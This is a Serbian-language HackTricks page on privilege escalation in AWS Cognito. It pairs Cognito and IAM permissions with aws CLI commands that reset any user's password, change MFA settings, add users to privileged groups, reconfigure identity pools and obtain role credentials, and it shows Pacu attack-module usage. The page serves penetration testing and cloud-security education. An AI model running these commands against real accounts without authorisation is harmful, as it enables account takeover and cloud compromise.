AWS - Cognito Privesc
Reading time: 12 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Cognito
Za više informacija o Cognitu pogledajte:
Prikupljanje kredencijala iz Identity Pool-a
Pošto Cognito može dodeliti IAM role credentials i autentifikovanim i neautentifikovanim korisnicima, ako locirate Identity Pool ID aplikacije (trebalo bi da bude hardkodiran u njoj) možete dobiti nove kredencijale i tako izvršiti privesc (unutar AWS naloga gde verovatno niste imali nikakve kredencijale prethodno).
Za više informacija proverite ovu stranicu.
Potencijalni uticaj: Direktan privesc na servisnu ulogu vezanu za neautentifikovane korisnike (i verovatno na onu vezanu za autentifikovane korisnike).
cognito-identity:SetIdentityPoolRoles
, iam:PassRole
Sa ovom dozvolom možete dodeliti bilo koju cognito ulogu autentifikovanim/neautentifikovanim korisnicima cognito aplikacije.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
Ako cognito aplikacija nema omogućene neautentifikovane korisnike, možda će vam biti potrebna i dozvola cognito-identity:UpdateIdentityPool
da je omogućite.
Potencijalni uticaj: Direktno privesc na bilo koju cognito ulogu.
cognito-identity:update-identity-pool
Napadač sa ovom dozvolom mogao bi, na primer, da postavi Cognito User Pool pod njegovom kontrolom ili bilo koji drugi provajder identiteta gde može da se prijavi kao način za pristup ovoj Cognito Identity Pool. Tada, samo prijavljivanje na tom provajderu korisnika će omogućiti mu pristup konfigurisanom autentifikovanom ulozi u Identity Pool.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
Takođe je moguće zloupotrebiti ovu dozvolu da se omogući osnovna autentifikacija:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Potencijalni uticaj: Kompromitovanje konfigurisane autentifikovane IAM uloge unutar identitetskog bazena.
cognito-idp:AdminAddUserToGroup
Ova dozvola omogućava dodavanje Cognito korisnika u Cognito grupu, stoga bi napadač mogao zloupotrebiti ovu dozvolu da doda korisnika pod njegovom kontrolom u druge grupe sa boljim privilegijama ili različitim IAM ulogama:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Potencijalni uticaj: Privesc na druge Cognito grupe i IAM uloge povezane sa User Pool grupama.
(cognito-idp:CreateGroup
| cognito-idp:UpdateGroup
), iam:PassRole
Napadač sa ovim dozvolama mogao bi da kreira/aktualizuje grupe sa svakom IAM ulogom koja može biti korišćena od strane kompromitovanog Cognito Identity Provider-a i učiniti kompromitovanog korisnika delom grupe, pristupajući svim tim ulogama:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
Potencijalni uticaj: Privesc na druge Cognito IAM uloge.
cognito-idp:AdminConfirmSignUp
Ova dozvola omogućava verifikaciju registracije. Po defaultu, svako može da se prijavi na Cognito aplikacije; ako to ostane, korisnik bi mogao da kreira nalog sa bilo kojim podacima i verifikuje ga ovom dozvolom.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
Potencijalni uticaj: Indirektni privesc na IAM ulogu identiteta za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektni privesc na druge funkcionalnosti aplikacije omogućavajući potvrdu bilo kog naloga.
cognito-idp:AdminCreateUser
Ova dozvola bi omogućila napadaču da kreira novog korisnika unutar korisničkog bazena. Novi korisnik se kreira kao omogućen, ali će morati da promeni svoju lozinku.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Potencijalni uticaj: Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
cognito-idp:AdminEnableUser
Ova dozvola može pomoći u veoma specifičnom scenariju gde je napadač pronašao akreditive onemogućenog korisnika i treba da ga ponovo omogući.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Potencijalni uticaj: Indirektno privesc na IAM ulogu identiteta za autentifikovane korisnike i dozvole korisnika ako je napadač imao akreditive za onemogućenog korisnika.
cognito-idp:AdminInitiateAuth
, cognito-idp:AdminRespondToAuthChallenge
Ova dozvola omogućava prijavu sa metodom ADMIN_USER_PASSWORD_AUTH. Za više informacija pratite link.
cognito-idp:AdminSetUserPassword
Ova dozvola bi omogućila napadaču da promeni lozinku bilo kog korisnika, omogućavajući mu da se lažno predstavi kao bilo koji korisnik (koji nema omogućenu MFA).
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
Potencijalni uticaj: Direktno privesc za potencijalno bilo kog korisnika, tako da pristup svim grupama čiji je korisnik član i pristup IAM ulozi autentifikovanog Identity Pool-a.
cognito-idp:AdminSetUserSettings
| cognito-idp:SetUserMFAPreference
| cognito-idp:SetUserPoolMfaConfig
| cognito-idp:UpdateUserPool
AdminSetUserSettings: Napadač bi potencijalno mogao da zloupotrebi ovu dozvolu da postavi mobilni telefon pod njegovom kontrolom kao SMS MFA korisnika.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: Slično prethodnoj, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: Slično prethodnom, ova dozvola se može koristiti za postavljanje MFA preferencija korisničkog bazena kako bi se zaobišla MFA zaštita.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: Takođe je moguće ažurirati korisnički bazen kako bi se promenila MFA politika. Check cli here.
Potential Impact: Indirektno privesc potencijalno bilo kojem korisniku čije napredne podatke napadač poznaje, što bi moglo omogućiti zaobilaženje MFA zaštite.
cognito-idp:AdminUpdateUserAttributes
Napadač sa ovom dozvolom mogao bi da promeni email ili broj telefona ili bilo koju drugu atribut korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u osnovnoj aplikaciji.
Ovo omogućava promenu emaila ili broja telefona i postavljanje kao verifikovanog.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
Potencijalni uticaj: Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koja dodeljuje privilegije na osnovu atributa korisnika.
cognito-idp:CreateUserPoolClient
| cognito-idp:UpdateUserPoolClient
Napadač sa ovom dozvolom mogao bi da kreira novog User Pool Client-a koji je manje restriktivan od već postojećih klijenata. Na primer, novi klijent bi mogao da dozvoli bilo koju vrstu metode za autentifikaciju, da nema nikakvu tajnu, da ima onemogućenu revokaciju tokena, da dozvoli tokenima da budu validni duži period...
Isto se može uraditi ako se umesto kreiranja novog klijenta, izmenjuje postojeći.
U komandnoj liniji (ili za ažuriranje) možete videti sve opcije, proverite to!.
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Potencijalni uticaj: Potencijalni indirektni privesc za autorizovanog korisnika Identity Pool-a koji koristi User Pool tako što se kreira novi klijent koji opušta bezbednosne mere i omogućava napadaču da se prijavi sa korisnikom kojeg je mogao da kreira.
cognito-idp:CreateUserImportJob
| cognito-idp:StartUserImportJob
Napadač bi mogao da zloupotrebi ovu dozvolu da kreira korisnike učitavanjem csv datoteke sa novim korisnicima.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(U slučaju kada kreirate novi posao za uvoz, možda će vam biti potrebna iam passrole dozvola, još nisam testirao).
Potencijalni uticaj: Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
cognito-idp:CreateIdentityProvider
| cognito-idp:UpdateIdentityProvider
Napadač bi mogao da kreira novog provajdera identiteta kako bi mogao da prijavi se preko ovog provajdera.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Potencijalni Uticaj: Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
cognito-sync:* Analiza
Ovo je veoma uobičajena dozvola po defaultu u ulogama Cognito Identity Pools. Čak i ako wildcard u dozvolama uvek izgleda loše (posebno dolazeći iz AWS-a), date dozvole nisu super korisne iz perspektive napadača.
Ova dozvola omogućava čitanje informacija o korišćenju Identity Pools i Identity IDs unutar Identity Pools (što nije osetljiva informacija).
Identity IDs mogu imati Datasets dodeljene njima, koje su informacije o sesijama (AWS to definiše kao sačuvanu igru). Moguće je da ovo sadrži neku vrstu osetljivih informacija (ali je verovatnoća prilično niska). Možete pronaći na stranici za enumeraciju kako da pristupite ovim informacijama.
Napadač bi takođe mogao koristiti ove dozvole da prijavi sebe na Cognito stream koji objavljuje promene na ovim datasetima ili lambda koja se aktivira na cognito događaje. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće.
Automatski Alati
- Pacu, AWS eksploatacioni okvir, sada uključuje module "cognito__enum" i "cognito__attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikovanih prilagođenih atributa, upotrebljivih kredencijala identiteta, preuzimljivih uloga u id tokenima, itd.
Za opis funkcija modula pogledajte deo 2 blog posta. Za uputstva za instalaciju pogledajte glavnu Pacu stranicu.
Korišćenje
Primer korišćenja cognito__attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identiteta i klijenta korisničkog bazena:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Primer korišćenja cognito__enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. koji su vidljivi u trenutnom AWS nalogu:
Pacu (new:test) > run cognito__enum
- Cognito Scanner je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući eskalaciju privilegija.
Instalacija
$ pip install cognito-scanner
Korišćenje
$ cognito-scanner --help
Za više informacija proverite https://github.com/padok-team/cognito-scanner
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.